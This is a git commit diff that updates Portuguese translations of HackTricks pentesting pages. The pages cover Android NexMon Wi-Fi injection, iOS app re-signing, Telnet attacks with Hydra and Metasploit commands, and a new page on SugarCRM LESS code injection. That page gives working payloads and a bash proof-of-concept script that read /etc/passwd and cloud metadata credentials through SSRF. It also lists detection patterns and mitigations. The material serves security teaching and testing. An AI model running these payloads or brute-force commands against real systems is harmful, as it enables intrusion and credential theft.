Translated ['src/generic-methodologies-and-resources/pentesting-wifi/ena

This commit is contained in:
Translator 2025-07-15 10:46:07 +00:00
parent a45b175e52
commit 0c1cb9c082
6 changed files with 107 additions and 25 deletions

View File

@ -544,6 +544,7 @@
# 🕸️ Pentesting Web
- [Less Code Injection Ssrf](pentesting-web/less-code-injection-ssrf.md)
- [Web Vulnerabilities Methodology](pentesting-web/web-vulnerabilities-methodology.md)
- [Reflecting Techniques - PoCs and Polygloths CheatSheet](pentesting-web/pocs-and-polygloths-cheatsheet/README.md)
- [Web Vulns List](pentesting-web/pocs-and-polygloths-cheatsheet/web-vulns-list.md)

View File

@ -3,7 +3,7 @@
{{#include ../../banners/hacktricks-training.md}}
## Visão Geral
A maioria dos telefones Android modernos incorpora um chipset Wi-Fi Broadcom/Cypress que é enviado sem modo monitor 802.11 ou capacidades de injeção de quadros. O framework de código aberto NexMon modifica o firmware proprietário para adicionar esses recursos e os expõe através de uma biblioteca compartilhada (`libnexmon.so`) e um helper CLI (`nexutil`). Ao pré-carregar essa biblioteca no driver Wi-Fi padrão, um dispositivo com root pode capturar tráfego 802.11 bruto e injetar quadros arbitrários eliminando a necessidade de um adaptador USB externo.
A maioria dos telefones Android modernos incorpora um chipset Wi-Fi Broadcom/Cypress que é enviado sem modo monitor 802.11 ou capacidades de injeção de quadros. O framework de código aberto NexMon modifica o firmware proprietário para adicionar esses recursos e os expõe através de uma biblioteca compartilhada (`libnexmon.so`) e um helper CLI (`nexutil`). Ao pré-carregar essa biblioteca no driver Wi-Fi padrão, um dispositivo com root pode capturar tráfego bruto 802.11 e injetar quadros arbitrários eliminando a necessidade de um adaptador USB externo.
Esta página documenta um fluxo de trabalho rápido que usa um Samsung Galaxy S10 totalmente corrigido (BCM4375B1) como exemplo, utilizando:
@ -22,13 +22,13 @@ A mesma técnica se aplica a qualquer dispositivo que tenha um patch NexMon disp
* ZIP Magisk NexMon ou patch auto-compilado fornecendo:
* `/system/lib*/libnexmon.so`
* `/system/xbin/nexutil`
* Hijacker ≥ 1.7 (arm/arm64) https://github.com/chrisk44/Hijacker
* Hijacker ≥ 1.7 (arm/arm64) [https://github.com/chrisk44/Hijacker](https://github.com/chrisk44/Hijacker)
* (Opcional) Kali NetHunter ou qualquer chroot Linux onde você pretende executar ferramentas sem fio
---
## Flashing o patch NexMon (Magisk)
1. Baixe o ZIP para o seu dispositivo/firmware exato (exemplo: `nexmon-s10.zip`).
1. Baixe o ZIP para seu dispositivo/firmware exato (exemplo: `nexmon-s10.zip`).
2. Abra o Magisk -> Módulos -> Instalar do armazenamento -> selecione o ZIP e reinicie.
O módulo copia `libnexmon.so` para `/data/adb/modules/<module>/lib*/` e garante que os rótulos SELinux estejam corretos.
3. Verifique a instalação:
@ -104,9 +104,9 @@ Como o firmware já lida com a injeção de radiotap, as ferramentas de espaço
## Ataques Típicos Possíveis
Uma vez que monitor + TX está ativo, você pode:
* Capturar handshakes WPA(2/3-SAE) ou PMKID com `wifite`, `hcxdumptool`, `airodump-ng`.
* Injetar quadros de desautenticação / desassociação para forçar clientes a reconectar.
* Injetar quadros de desautenticação / desassociação para forçar os clientes a reconectar.
* Criar quadros de gerenciamento/dados arbitrários com `mdk4`, `aireplay-ng`, Scapy, etc.
* Construir APs falsos ou realizar ataques KARMA/MANA diretamente do telefone.
* Construir APs maliciosos ou realizar ataques KARMA/MANA diretamente do telefone.
O desempenho no Galaxy S10 é comparável a NICs USB externos (~20 dBm TX, 2-3 M pps RX).
@ -114,7 +114,7 @@ O desempenho no Galaxy S10 é comparável a NICs USB externos (~20 dBm TX, 2-3 M
## Solução de Problemas
* `Device or resource busy` certifique-se de que o **serviço Wi-Fi do Android está desativado** (`svc wifi disable`) antes de ativar o modo monitor.
* `nexutil: ioctl(PRIV_MAGIC) failed` a biblioteca não está pré-carregada; verifique o caminho de `LD_PRELOAD`.
* `nexutil: ioctl(PRIV_MAGIC) failed` a biblioteca não está pré-carregada; verifique novamente o caminho `LD_PRELOAD`.
* A injeção de quadros funciona, mas nenhum pacote capturado alguns ROMs bloqueiam canais; tente `nexutil -c <channel>` ou `iwconfig wlan0 channel <n>`.
* SELinux bloqueando a biblioteca defina o dispositivo como *Permissivo* ou corrija o contexto do módulo: `chcon u:object_r:system_lib_file:s0 libnexmon.so`.

View File

@ -2,7 +2,7 @@
{{#include ../../banners/hacktricks-training.md}}
## Main idea
## Ideia principal
Aplicativos assinados com a **entitlement `get_task_allow`** permitem que aplicativos de terceiros executem uma função chamada **`task_for_pid()`** com o ID do processo do aplicativo inicial como argumento para obter a porta da tarefa sobre ele (ser capaz de controlá-lo e acessar sua memória).
@ -10,20 +10,20 @@ No entanto, não é tão fácil quanto apenas puxar o IPA, re-assiná-lo com a e
Com um dispositivo antigo com jailbreak, é possível instalar o IPA, **descriptografá-lo usando sua ferramenta favorita** (como Iridium ou frida-ios-dump) e retirá-lo do dispositivo. Embora, se possível, é recomendável pedir ao cliente o IPA descriptografado.
## Obtain decrypted IPA
## Obter IPA descriptografado
### Get it from Apple
### Obtenha da Apple
1. Instale o aplicativo para pentest no iPhone
2. Instale e inicie [Apple Configurator](https://apps.apple.com/au/app/apple-configurator/id1037126344?mt=12) no seu macos
2. Instale e inicie o [Apple Configurator](https://apps.apple.com/au/app/apple-configurator/id1037126344?mt=12) no seu macos
3. Abra o `Terminal` no seu Mac e cd para `/Users/[username]/Library/Group\\ Containers/K36BKF7T3D.group.com.apple.configurator/Library/Caches/Assets/TemporaryItems/MobileApps`. O IPA aparecerá nesta pasta mais tarde.
4. Você deve ver seu dispositivo iOS. Clique duas vezes nele e, em seguida, clique em Adicionar + → Apps na barra de menu superior.
5. Após clicar em Adicionar, o Configurator fará o download do IPA da Apple e tentará enviá-lo para o seu dispositivo. Se você seguiu minha recomendação anterior e já instalou o IPA, um aviso pedindo para reinstalar o aplicativo aparecerá.
5. Após clicar em Adicionar, o Configurator fará o download do IPA da Apple e tentará enviá-lo para o seu dispositivo. Se você seguiu minha recomendação anterior e já instalou o IPA, um prompt pedindo para reinstalar o aplicativo aparecerá.
6. O IPA deve ser baixado dentro de `/Users/[username]/Library/Group\\ Containers/K36BKF7T3D.group.com.apple.configurator/Library/Caches/Assets/TemporaryItems/MobileApps`, de onde você pode pegá-lo.
Verifique [https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed](https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed) para mais informações detalhadas sobre este processo.
Verifique [https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed](https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed) para mais informações detalhadas sobre esse processo.
### Decrypting the app
### Descriptografando o aplicativo
Para descriptografar o IPA, vamos instalá-lo. No entanto, se você tiver um iPhone antigo com jailbreak, potencialmente sua versão não será suportada pelo aplicativo, pois geralmente os aplicativos só suportam as versões mais recentes.
@ -49,7 +49,7 @@ Uma vez instalado, você pode usar o **Iridium tweak** do Cydia para obter o IPA
### Patch de permissões & re-assinatura
Para re-assinar o aplicativo com a permissão `get-task-allow`, existem várias ferramentas disponíveis, como `app-signer`, `codesign` e `iResign`. O `app-signer` tem uma interface muito amigável que permite re-assinar facilmente um arquivo IPA, indicando o IPA a ser re-assinado, para **colocá-lo como `get-task-allow`** e o certificado e perfil de provisionamento a serem usados.
Para re-assinar o aplicativo com a permissão `get-task-allow`, existem várias ferramentas disponíveis, como `app-signer`, `codesign` e `iResign`. O `app-signer` tem uma interface muito amigável que permite re-assinar um arquivo IPA de forma muito fácil, indicando o IPA a ser re-assinado, para **colocá-lo como `get-task-allow`** e o certificado e perfil de provisionamento a serem usados.
Quanto ao certificado e perfis de assinatura, a Apple oferece **perfis de assinatura de desenvolvedor gratuitos** para todas as contas através do Xcode. Basta criar um aplicativo e configurar um. Em seguida, configure o **iPhone para confiar nos aplicativos do desenvolvedor** navegando até `Settings``Privacy & Security`, e clique em `Developer Mode`.
@ -61,22 +61,22 @@ ideviceinstaller -i resigned.ipa -w
### Ativar Modo Desenvolvedor (iOS 16+)
Desde o iOS 16, a Apple introduziu o **Modo Desenvolvedor**: qualquer binário que contenha `get_task_allow` *ou* que seja assinado com um certificado de desenvolvimento se recusará a iniciar até que o Modo Desenvolvedor esteja ativado no dispositivo. Você também não poderá anexar Frida/LLDB a menos que essa opção esteja ativada.
Desde o iOS 16, a Apple introduziu o **Modo Desenvolvedor**: qualquer binário que carregue `get_task_allow` *ou* que seja assinado com um certificado de desenvolvimento se recusará a iniciar até que o Modo Desenvolvedor esteja ativado no dispositivo. Você também não poderá anexar Frida/LLDB a menos que essa flag esteja ativada.
1. Instale ou envie **qualquer** IPA assinada por desenvolvedor para o telefone.
2. Navegue até **Ajustes → Privacidade e Segurança → Modo Desenvolvedor** e ative-o.
3. O dispositivo será reiniciado; após inserir o código de acesso, você será solicitado a **Ativar** o Modo Desenvolvedor.
O Modo Desenvolvedor permanece ativo até que você o desative ou limpe o telefone, então esta etapa precisa ser realizada apenas uma vez por dispositivo. [Documentação da Apple](https://developer.apple.com/documentation/xcode/enabling-developer-mode-on-a-device) explica as implicações de segurança.
O Modo Desenvolvedor permanece ativo até que você o desative ou limpe o telefone, então este passo só precisa ser realizado uma vez por dispositivo. [A documentação da Apple](https://developer.apple.com/documentation/xcode/enabling-developer-mode-on-a-device) explica as implicações de segurança.
### Opções modernas de sideloading
Agora existem várias maneiras maduras de fazer sideload e manter IPAs re-assinados atualizados sem jailbreak:
Agora existem várias maneiras maduras de sideload e manter IPAs re-assinadas atualizadas sem jailbreak:
| Ferramenta | Requisitos | Forças | Limitações |
|------------|------------|--------|------------|
| **AltStore 2 / SideStore** | Companheiro macOS/Windows/Linux que re-assina a IPA a cada 7 dias com um perfil de desenvolvedor gratuito | Recarga automática via Wi-Fi, funciona até iOS 17 | Necessita de computador na mesma rede, limite de 3 aplicativos imposto pela Apple |
| **TrollStore 1/2** | Dispositivo com iOS 14 15.4.1 vulnerável ao bug do CoreTrust | Assinatura *permanente* (sem limite de 7 dias); nenhum computador necessário uma vez instalado | Não suportado no iOS 15.5+ (bug corrigido) |
| **TrollStore 1/2** | Dispositivo em iOS 14 15.4.1 vulnerável ao bug do CoreTrust | Assinatura *permanente* (sem limite de 7 dias); nenhum computador necessário uma vez instalado | Não suportado em iOS 15.5+ (bug corrigido) |
Para pentests rotineiros em versões atuais do iOS, Alt/Side-Store geralmente são a escolha mais prática.
@ -94,7 +94,7 @@ Recentes lançamentos do Frida (>=16) lidam automaticamente com a autenticação
### Análise dinâmica automatizada com MobSF (sem jailbreak)
[MobSF](https://mobsf.github.io/Mobile-Security-Framework-MobSF/) pode instrumentar um IPA assinado por desenvolvedor em um dispositivo real usando a mesma técnica (`get_task_allow`) e fornece uma interface web com navegador de sistema de arquivos, captura de tráfego e console do Frida【†L2-L3】. A maneira mais rápida é executar o MobSF no Docker e, em seguida, conectar seu iPhone via USB:
[MobSF](https://mobsf.github.io/Mobile-Security-Framework-MobSF/) pode instrumentar um IPA assinado por desenvolvedor em um dispositivo real usando a mesma técnica (`get_task_allow`) e fornece uma interface web com navegador de sistema de arquivos, captura de tráfego e console do Frida【】. A maneira mais rápida é executar o MobSF no Docker e, em seguida, conectar seu iPhone via USB:
```bash
docker pull opensecurity/mobile-security-framework-mobsf:latest
docker run -p 8000:8000 --privileged \
@ -104,7 +104,7 @@ opensecurity/mobile-security-framework-mobsf:latest
```
MobSF irá implantar automaticamente o binário, habilitar um servidor Frida dentro do sandbox do aplicativo e gerar um relatório interativo.
### iOS 17 & Modo de Bloqueio advertências
### iOS 17 & Modo de Bloqueio considerações
* **Modo de Bloqueio** (Configurações → Privacidade & Segurança) bloqueia o vinculador dinâmico de carregar bibliotecas dinâmicas não assinadas ou assinadas externamente. Ao testar dispositivos que podem ter este modo habilitado, certifique-se de que está **desativado** ou suas sessões Frida/objection serão encerradas imediatamente.
* A Autenticação de Ponteiros (PAC) é aplicada em todo o sistema em dispositivos A12+. Frida ≥16 lida com a remoção de PAC de forma transparente — apenas mantenha tanto *frida-server* quanto a ferramenta Python/CLI atualizados quando uma nova versão principal do iOS for lançada.

View File

@ -70,10 +70,10 @@ Command: msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_version; set RHOS
### Vulnerabilidades Recentes (2022-2025)
* **CVE-2024-45698 Roteadores D-Link Wi-Fi 6 (DIR-X4860)**: O serviço Telnet embutido aceitava credenciais codificadas e falhou em sanitizar a entrada, permitindo RCE remota não autenticada como root via comandos manipulados na porta 23. Corrigido no firmware ≥ 1.04B05.
* **CVE-2023-40478 NETGEAR RAX30**: Um estouro de buffer baseado em pilha no comando `passwd` da CLI Telnet permite que um atacante adjacente contorne a autenticação e execute código arbitrário como root.
* **CVE-2023-40478 NETGEAR RAX30**: Um estouro de buffer baseado em pilha no comando `passwd` do Telnet CLI permite que um atacante adjacente contorne a autenticação e execute código arbitrário como root.
* **CVE-2022-39028 GNU inetutils telnetd**: Uma sequência de dois bytes (`0xff 0xf7` / `0xff 0xf8`) aciona uma desreferência de ponteiro NULL que pode travar o `telnetd`, resultando em um DoS persistente após várias falhas.
Mantenha esses CVEs em mente durante a triagem de vulnerabilidades—se o alvo estiver executando um firmware não corrigido ou um daemon Telnet inetutils legado, você pode ter um caminho direto para execução de código ou um DoS disruptivo.
Mantenha esses CVEs em mente durante a triagem de vulnerabilidades—se o alvo estiver executando um firmware não corrigido ou um daemon Telnet inetutils legado, você pode ter um caminho direto para a execução de código ou um DoS disruptivo.
### Capturando Credenciais & Man-in-the-Middle
@ -87,7 +87,7 @@ tcp.port == 23 && (telnet.data || telnet.option)
```
Para MITM ativo, combine o ARP spoofing (por exemplo, `arpspoof`/`ettercap`) com os mesmos filtros de sniffing para coletar senhas em redes comutadas.
### Força bruta automatizada / Pulverização de senhas
### Força bruta automatizada / Spraying de senhas
```bash
# Hydra (stop at first valid login)
hydra -L users.txt -P rockyou.txt -t 4 -f telnet://<IP>
@ -109,7 +109,7 @@ O Metasploit possui vários módulos úteis:
* `auxiliary/scanner/telnet/telnet_encrypt_overflow` RCE contra Telnet vulnerável do Solaris 9/10 (manipulação da opção ENCRYPT).
* `exploit/linux/mips/netgear_telnetenable` habilita o serviço telnet com um pacote elaborado em muitos roteadores NETGEAR.
Depois que um shell é obtido, lembre-se de que **TTYs geralmente são simples**; faça upgrade com `python -c 'import pty;pty.spawn("/bin/bash")'` ou use os [truques TTY do HackTricks](/generic-hacking/reverse-shells/full-ttys.md).
Após obter um shell, lembre-se que **TTYs geralmente são simples**; faça upgrade com `python -c 'import pty;pty.spawn("/bin/bash")'` ou use os [tricks TTY do HackTricks](/generic-hacking/reverse-shells/full-ttys.md).
### Fortalecimento & Detecção (canto da equipe azul)
@ -123,4 +123,4 @@ Depois que um shell é obtido, lembre-se de que **TTYs geralmente são simples**
* D-Link Advisory CVE-2024-45698 RCE crítica do Telnet.
* NVD CVE-2022-39028 inetutils `telnetd` DoS.
{{#include /banners/hacktricks-training.md}}
{{#include ../banners/hacktricks-training.md}}

View File

@ -0,0 +1,75 @@
# LESS Code Injection leading to SSRF & Local File Read
{{#include ../banners/hacktricks-training.md}}
## Visão Geral
LESS é um pré-processador CSS popular que adiciona variáveis, mixins, funções e a poderosa diretiva `@import`. Durante a compilação, o mecanismo LESS irá **buscar os recursos referenciados nas declarações `@import`** e embutir ("inline") seus conteúdos no CSS resultante quando a opção `(inline)` é usada.
Quando uma aplicação concatena **entrada controlada pelo usuário** em uma string que é posteriormente analisada pelo compilador LESS, um atacante pode **injetar código LESS arbitrário**. Ao abusar de `@import (inline)`, o atacante pode forçar o servidor a recuperar:
* Arquivos locais via o protocolo `file://` (divulgação de informações / Inclusão de Arquivos Locais).
* Recursos remotos em redes internas ou serviços de metadados em nuvem (SSRF).
Essa técnica foi vista em produtos do mundo real, como **SugarCRM ≤ 14.0.0** (endpoint `/rest/v10/css/preview`).
## Exploração
1. Identifique um parâmetro que está diretamente embutido dentro de uma string de folha de estilo processada pelo mecanismo LESS (por exemplo, `?lm=` no SugarCRM).
2. Feche a declaração atual e injetar novas diretivas. Os primitivos mais comuns são:
* `;` termina a declaração anterior.
* `}` fecha o bloco anterior (se necessário).
3. Use `@import (inline) '<URL>';` para ler recursos arbitrários.
4. Opcionalmente, injetar um **marcador** (`data:` URI) após a importação para facilitar a extração do conteúdo buscado do CSS compilado.
### Leitura de Arquivos Locais
```
1; @import (inline) 'file:///etc/passwd';
@import (inline) 'data:text/plain,@@END@@'; //
```
O conteúdo de `/etc/passwd` aparecerá na resposta HTTP logo antes do marcador `@@END@@`.
### SSRF Metadados da Nuvem
```
1; @import (inline) "http://169.254.169.254/latest/meta-data/iam/security-credentials/";
@import (inline) 'data:text/plain,@@END@@'; //
```
### PoC Automatizado (exemplo SugarCRM)
```bash
#!/usr/bin/env bash
# Usage: ./exploit.sh http://target/sugarcrm/ /etc/passwd
TARGET="$1" # Base URL of SugarCRM instance
RESOURCE="$2" # file:// path or URL to fetch
INJ=$(python -c "import urllib.parse,sys;print(urllib.parse.quote_plus(\"1; @import (inline) '$RESOURCE'; @import (inline) 'data:text/plain,@@END@@';//\"))")
curl -sk "${TARGET}rest/v10/css/preview?baseUrl=1&lm=${INJ}" | \
sed -n 's/.*@@END@@\(.*\)/\1/p'
```
## Detecção
* Procure por respostas `.less` ou `.css` geradas dinamicamente contendo parâmetros de consulta não sanitizados.
* Durante a revisão de código, busque construções como `"@media all { .preview { ... ${userInput} ... } }"` passadas para funções de renderização LESS.
* Tentativas de exploração frequentemente incluem `@import`, `(inline)`, `file://`, `http://169.254.169.254`, etc.
## Mitigações
* Não passe dados não confiáveis para o compilador LESS.
* Se valores dinâmicos forem necessários, escape/sanitize-os adequadamente (por exemplo, restrinja a tokens numéricos, listas brancas).
* Desative, quando possível, a capacidade de usar imports `(inline)`, ou limite os protocolos permitidos a `https`.
* Mantenha as dependências atualizadas SugarCRM corrigiu esse problema nas versões 13.0.4 e 14.0.1.
## Casos do Mundo Real
| Produto | Endpoint Vulnerável | Impacto |
|---------|---------------------|---------|
| SugarCRM ≤ 14.0.0 | `/rest/v10/css/preview?lm=` | SSRF não autenticado & leitura de arquivo local |
## Referências
* [SugarCRM ≤ 14.0.0 (css/preview) Vulnerabilidade de Injeção de Código LESS](https://karmainsecurity.com/KIS-2025-04)
* [Aviso de Segurança do SugarCRM SA-2024-059](https://support.sugarcrm.com/resources/security/sugarcrm-sa-2024-059/)
* [CVE-2024-58258](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-58258)
{{#include ../banners/hacktricks-training.md}}

View File

@ -4,4 +4,10 @@
Verifique **[https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/](https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/)**
- SugarCRM ≤ 14.0.0 Injeção de LESS `@import` em `/rest/v10/css/preview` permite SSRF não autenticado e leitura de arquivos locais.
{{#ref}}
../less-code-injection-ssrf.md
{{#endref}}
{{#include ../../banners/hacktricks-training.md}}